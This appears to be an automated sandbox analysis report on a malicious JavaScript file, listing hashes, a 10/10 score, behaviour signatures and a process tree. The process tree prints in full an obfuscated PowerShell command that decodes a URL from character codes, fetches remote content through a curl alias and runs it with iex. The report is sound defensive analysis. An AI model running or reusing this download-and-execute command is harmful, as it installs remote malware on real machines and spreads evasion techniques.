Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:00

General

  • Target

    bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534.js

  • Size

    184KB

  • MD5

    482d2df6a3e4ab4cfbe73a0d12f9a2a0

  • SHA1

    3d06c2cee3a451dba61ee0ab494facf995dfdf2c

  • SHA256

    bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534

  • SHA512

    c0ddf3f8201951e47c428d76c289a124564119a39fbd28d99086360c63e31653683a8e4105cd56c6a90cd1e1fe9db799c865273750fe7f02324ed9bee7b0a472

  • SSDEEP

    1536:nwiVg5a1uW3SQ9QSZov87dhOc3Au3SQ9QSZovo7dhOc3A47dhOc3At3SQ9QSZov3:n31OvTvcvjvb

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534.js
    1⤵
      PID:4296
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $pwkoay='ur' ;new-alias printout c$($pwkoay)l;$midfqwbgarxyzj=(663,674,682,666,668,663,683,682,687,620,682,616,663,611,681,676,677,612,614,611,677,669,677,628,680,626,674,670,675,681,680,615,614);$dfhvgxlpsq=('bronx','get-cmdlet');$ruozwfcyhgxv=$midfqwbgarxyzj;foreach($qwbncmxpofvlu in $ruozwfcyhgxv){$cdqvmobkg=$qwbncmxpofvlu;$kibrtgf=$kibrtgf+[char]($cdqvmobkg-565);$lhuqki=$kibrtgf; $gubtflejdsynr=$lhuqki};$rnepvztslxfmh[2]=$gubtflejdsynr;$jzkhto='rl';$kygzpeb=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gubtflejdsynr)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $pwkoay='ur' ;new-alias printout c$($pwkoay)l;$midfqwbgarxyzj=(663,674,682,666,668,663,683,682,687,620,682,616,663,611,681,676,677,612,614,611,677,669,677,628,680,626,674,670,675,681,680,615,614);$dfhvgxlpsq=('bronx','get-cmdlet');$ruozwfcyhgxv=$midfqwbgarxyzj;foreach($qwbncmxpofvlu in $ruozwfcyhgxv){$cdqvmobkg=$qwbncmxpofvlu;$kibrtgf=$kibrtgf+[char]($cdqvmobkg-565);$lhuqki=$kibrtgf; $gubtflejdsynr=$lhuqki};$rnepvztslxfmh[2]=$gubtflejdsynr;$jzkhto='rl';$kygzpeb=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gubtflejdsynr)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3216

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mluatbhr.v1s.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3216-0-0x00007FFB42753000-0x00007FFB42755000-memory.dmp

      Filesize

      8KB

    • memory/3216-7-0x0000027456410000-0x0000027456432000-memory.dmp

      Filesize

      136KB

    • memory/3216-11-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB

    • memory/3216-12-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB

    • memory/3216-13-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB

    • memory/3216-14-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB

    • memory/3216-15-0x00007FFB42753000-0x00007FFB42755000-memory.dmp

      Filesize

      8KB

    • memory/3216-16-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB

    • memory/3216-17-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB

    • memory/3216-20-0x00007FFB42750000-0x00007FFB43211000-memory.dmp

      Filesize

      10.8MB